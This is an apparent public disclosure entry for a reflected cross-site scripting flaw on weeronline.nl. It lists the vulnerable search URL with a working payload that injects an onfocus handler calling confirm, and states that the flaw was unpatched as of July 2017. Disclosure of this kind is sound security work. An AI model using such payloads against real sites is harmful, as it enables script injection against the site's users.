weeronline.nl XSS vulnerability

Vulnerable URL: http://www.weeronline.nl/Go/Search/SearchResults?searchCriteria=asd"autofocus/onfocus="confirm'XSSPOSED'=0=WeatherInformation Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...